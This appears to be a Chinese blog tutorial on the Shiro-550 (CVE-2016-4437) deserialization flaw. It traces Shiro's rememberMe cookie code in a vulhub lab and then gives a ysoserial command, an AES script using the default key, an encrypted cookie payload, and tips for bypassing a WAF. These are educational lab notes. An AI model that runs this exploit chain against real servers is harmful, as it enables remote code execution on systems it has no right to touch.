Shiro 550分析 这漏洞一看16年的,都过去8年了现在有面试还问,本来我是属于一把梭的选手但是也架不住老是问还是来看看代码
0x01 环境搭建 这里直接用docker来搭调试环境了用的是vulhub的CVE-2016-4437
先修改docker-compose.yml的内容
1 2 3 4 5 6 7 8 version: '2' services: web: image: vulhub/shiro:1.2.4 ports: - "8080:8080" - "5005:5005" command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar
开一个端口用来调试
然后把容器内的jar包复制出来
1 sudo docker cp CONTAINER:/shirodemo-1.0-SNAPSHOT.jar ./
解压后用IDEA打开,把lib下的jar包全部添加到库,然后配置下远程调试的环境就可以,详细的IDEA怎么配置可以看致远OA的文章
0x02 漏洞分析 加密流程 去shiro-core.jar找到代码
从控制器开始看吧,但是我估计有些地方也不能全部看懂,看不懂了解一下功能就好了,主要关注一下漏洞点
首先get一个subject对象
Subject 是表示单个应用程序用户的状态和安全操作。这些操作包括身份验证(登录/注销)、授权(访问控制)和会话的访问,这是复制来的,反正就就是管理用户的一个类
在控制器里面接收三个参数username password rememberme
然后equals对比字符串判断是否要记住登录状态
实例化UsernamePasswordToken,该类重载了多个构造方法,直接看最后一个就行
就是一些正常的参数,因为前面匹配到了所以this.rememberMe=true
然后直接到org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin()打断点
前面的也不看了最后会走到这里来
调用forgetIdentity清除记录,进去看看,因为forgetIdentity是抽象方法,在CookieRememberMeManager实现
从subject里面获取HttpServletRequest,HttpServletResponse,继续传到this.forgetIdentity
getCookie()获取Cookie对象,调用removeFrom方法,该方法在org.apache.shiro.web.servlet.SimpleCookie#removeFrom()
这里应该是配置返回包的
运行后之后发现
1 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Fri,
就是从这里看来的
最后走到addCookieHeader
1 2 3 4 5 6 7 8 private void addCookieHeader (HttpServletResponse response, String name, String value, String comment, String domain, String path, int maxAge, int version, boolean secure, boolean httpOnly) { String headerValue = this .buildHeaderValue(name, value, comment, domain, path, maxAge, version, secure, httpOnly); response.addHeader("Set-Cookie" , headerValue); if (log.isDebugEnabled()) { log.debug("Added HttpServletResponse Cookie [{}]" , headerValue); } }
这里就很明显的在返回包添加了cookie
再回到onSuccessfulLogin走到isRememberMe,这里就是判断RememberMe是否为true
判断成功走到rememberIdentity方法
principals这个对象不知道是啥,toString类后看到里面存着用户名
通过官方注释可以看出principal通常有以下类型:
1)可以是uuid
2)数据库中的主键
3)LDAP UUID或静态DN
4)在所有用户帐户中唯一的字符串用户名。
也就是说这个值必须是唯一的。也可以是邮箱、身份证等值。
上面的也是网上找的,差不多就是这个意思
然后走进this.getIdentityToRemember
1 2 3 4 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = this .convertPrincipalsToBytes(accountPrincipals); this .rememberSerializedIdentity(subject, bytes); }
就2行代码实在不想截图了
再走进convertPrincipalsToBytes
1 2 3 4 5 6 7 8 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = this .serialize(principals); if (this .getCipherService() != null ) { bytes = this .encrypt(bytes); } return bytes; }
这里面可以看到有一个序列化的方法
1 2 3 protected byte [] serialize(PrincipalCollection principals) { return this .getSerializer().serialize(principals); }
继续走
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public byte [] serialize(T o) throws SerializationException { if (o == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException(msg); } else { ByteArrayOutputStream baos = new ByteArrayOutputStream(); BufferedOutputStream bos = new BufferedOutputStream(baos); try { ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(o); oos.close(); return baos.toByteArray(); } catch (IOException var6) { String msg = "Unable to serialize object [" + o + "]. " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable." ; throw new SerializationException(msg, var6); } }
这里就是明显的writeObject序列化了,方法结束后获取byte数组的序列化值
-84,-19,0,5是经典的序列化文件的头了
再回到convertPrincipalsToBytes
1 2 3 4 5 6 7 8 9 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = this .serialize(principals); if (this .getCipherService() != null ) { bytes = this .encrypt(bytes); } return bytes; }
走到encrypt看
1 2 3 4 5 6 7 8 9 10 11 12 protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = this .getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, this .getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
然后一直返回到
走进this.rememberSerializedIdentity()看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation." ; log.debug(msg); } } else { HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = this .getCookie(); Cookie cookie = new SimpleCookie(template); cookie.setValue(base64); cookie.saveTo(request, response); } }
解密流程 这次把断点打在org.apache.shiro.mgt.AbstractRememberMeManage#getRememberedPrincipals()
走进this.getRememberedSerializedIdentity()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } else { WebSubjectContext wsc = (WebSubjectContext)subjectContext; if (this .isIdentityRemoved(wsc)) { return null ; } else { HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = this .getCookie().readValue(request, response); if ("deleteMe" .equals(base64)) { return null ; } else if (base64 != null ) { base64 = this .ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } } } }
走回getRememberedPrincipals,byte数组有值,走进convertBytesToPrincipals()
1 2 3 4 5 6 7 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (this .getCipherService() != null ) { bytes = this .decrypt(bytes); } return this .deserialize(bytes); }
解密后的字符进行反序列化
1 2 3 protected PrincipalCollection deserialize (byte [] serializedIdentity) { return (PrincipalCollection)this .getSerializer().deserialize(serializedIdentity); }
继续走deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException(msg); } else { ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); T deserialized = ois.readObject(); ois.close(); return deserialized; } catch (Exception var6) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException(msg, var6); } } } }
里面的readObject()触发反序列化
解密流程基本就是这样了
0x03 漏洞利用 其实这个docker是一个非常理想的环境里面有Commons-Collentions 3.2.1和Commons-Beanutils 1.9.2
完美符合ysoserial里面的CB1链
1 java -jar ysoserial-0 .0 .6 -SNAPSHOT-all.jar CommonsBeanutils1 "calc" > ser.bin
密码学不是特别好,也不分析加密流程了直接网上拿了一个加解密的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import base64import uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file_data (filename) : with open(filename,'rb' ) as f: data = f.read() return data def aes_enc (data) : BS = AES.block_size pad = lambda s:s +((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key),mode,iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec (enc_data) : enc_data = base64.b64encode(enc_data) unpad = lambda s : s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key),mode,iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintext if __name__ == '__main__' : data = get_file_data("ser.bin" ) print(aes_enc(data))
加密后的base64直接在Cookie利用就行了
1 2 3 4 5 6 7 8 9 GET /doLogin HTTP/1.1 Host: 192.168.91.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: rememberMe=6aAJcGU2Se+F62aWEHyXIUfdLjfiSHJmzprHLhLFIDtYknYhzEY5lN+54H6zuF/CR6ioFDbagWCg6Tz1P0AEuaTgkYaSlt44Gdw2bIjJDXS84Fju3Vl66KIat+C7SUk1IKb6zkgkegh7P3zABzVAzhGdhDsQkWf2R+t4c+eG27nVvvH15iL8x07iX6kXpHzQQ130BWR0pTkB4ZeE9Q/8w8caPpAKdP9ubGXbFkSDfcxiPT6lGQWIFvc0UpfGTaHdbhsPyRgYVCe+Dhz9u0md570nzUPT2m/ISaTowB9LXWshH4qMzjIKfYYqT0J1U8ivMuLa7Rw26rpZpu0qdcXueRV0asFrEnLW7FeLUAcgQS+19jyz5YHuW/+pi8iv2i+ByibphpEVJQ+6E1bh5q14/Wl25Wmk3eyGri83/TwFEd2syQ7fjSzie9JZ52ORbC8Qi6HiylpYOsn0FgHN3+KxGNHxbGXdu8LDAANlvBFPd63zCK4ez7fecJuVvun9hkkVmbtaVzkBqlwBF3FabcjwN6p3VzH3Dccv7BW8mEm8rTz0eAo5VG8ZBusXotGjsEaQ4zu4SoA8K5uT0C8QLhEtNPeUVtMiIlggac2U0TdJaxTaB+PLMuFe4QUz7mp3zdWyeyOdGQYZ97UtfW/hh/VnZl1iIhefS3H2oMB6uYy9kG94MmoTfRXy9WLVyVIuFgU1dF+sfNxLNa17uAwaJ/09ilYLGsRbFzygRvzVhkcUhaoYvaHJyaJ7NTfyy70F7ESt6gz8ofbEPPeiIhncfxmWhtMRAY6V8uuAyCv5D0/s7bTNgdKZf3v2NOcapnCYzaa+XUdZCCX5OLNBCnwrQsvYACe1jZxM9PVDD8ghBo1kp+tBtux1GPXFKQKiwqCW4c/LdWMW6Fgw8NiN57GWp7H7gwO4j9iDChG7mvaCKMRWDtGzqCGDbxM6UOcmS0tv/pyOJ1/w5Gv4FzZgoR/DLfx1b6JhQPfl6Wsmma9fdm9EkMqiH0SkCtJ1RxeBi4asK6QgGQ5b+NSscc2odsngLgwnASVarX2PDZpHnQqzVE3AwV32ntDWHlqCA9ta20hy4mqsOY/mMP6ZSX1EjmL6aXREEqImmAWM/leNemeVB8hsZyEfLPGytKNG0nO81gfaT6anqhxOJB6lHsJgDx7MROyCp3RlA8pVJQjLQx3REJOz7oLPHSWxBqHIZ3xpo4AwuTmRn2DjZwz+Kgmmt2d0ZTFbUH9VcRTFk94yQ8SO1oW1Fl/StRw80KkIgkniEd0NzuTeFgqSrTB6FPfymgz7lEGzMpACNDkUxD8XrdjQUC7BGYg3LL+tnBdx//+xIp2G71GFcx5pXRVzV+iEc0vc8HYqCBa1j2gv8WoLOM6iuHF8WJJQ/cKKLrIEKz+gm5BfbN/xhTvL+d4CG9e57n1z6XodC2xQoc3GS9oYBig8+Q30BZhZjd1UsfztBg1vrNAFRVGdjrL/MH7auBYkvfa7NPTBwmeiEnqUstnTs/IzTzO6uY+ws5EqMTbAHiNuPNpiPkO2Aol9dEkBSFjl0D5GYazDdJ5ghqEFE+qkurbrAMf6dpuxYiEbbQyUW07I/JMrBx1qTTR16OmJgID+iQ6iZmlV3T1MiMOeP/2YdMzbI4qZX+ByS6J6oqq0hmVnKaxm5K0B/ihi1MTOQJ+QPeYKtucVVOlt//JMcRJSFhVLH4dOhUwcAw148/dpf7no26cap6M2ZfDDEfJ9eM2hYlUxhyUG7g== Upgrade-Insecure-Requests: 1
其实网上有些文章说过shiro不能加载非java自身的数组,比如在CC6中使用到的Transformer[],会出现找不到的情况,但是在这个环境中不存在这个问题
直接拉shiro1.2.4的环境来复现,的确出现了这个问题,暂时还不清楚情况,可能和tomcat和springboot的ClassLoader有关,这里先不找原因了。
后续会写文章来详细讲利用链的问题
0x04 总结 利用流程就是反序列化文件->AES->base64然后在Cookie的参数里进行攻击
再回到最上面说的,面试中老问的,Shiro有key无链的怎么办
不一定是有key无链,有可能只是waf拦截,可以先抓包查看返回包,如果是waf拦截可以使用!@#$%^等base64中不存在的符号,在java的base64解码里会自动去除不是base64中应该出现的符号
Shiro自带cb链,但是需要注意2点
shiro自带的是Commons-Beauntils1.8.3,所以ysoserial不能直接打,原因是ysoserial里面的Commons-Beauntils是1.9.2
ysoserial里面的CommonsBeanutils1需要Commons-Collentions配合,然而Commons-Collentions是不自带的,所以需要修改,修改后的CB链之后再写文章分析
之前提到过CC6因为存在非java自身的数组所以在某些情况可能用不了,但是不代表CC6就是不能用的,可以通过TemplatesImpl包裹的方式进行利用
最后实在没有办法了可以尝试jdk7u21,jdk8u20,jrmp这种不需要依赖的链
总体来说我复现后得到的结论就是这些,可能还有好的办法但是没有找到,不过这应该算一个合格的答案
0x05 参考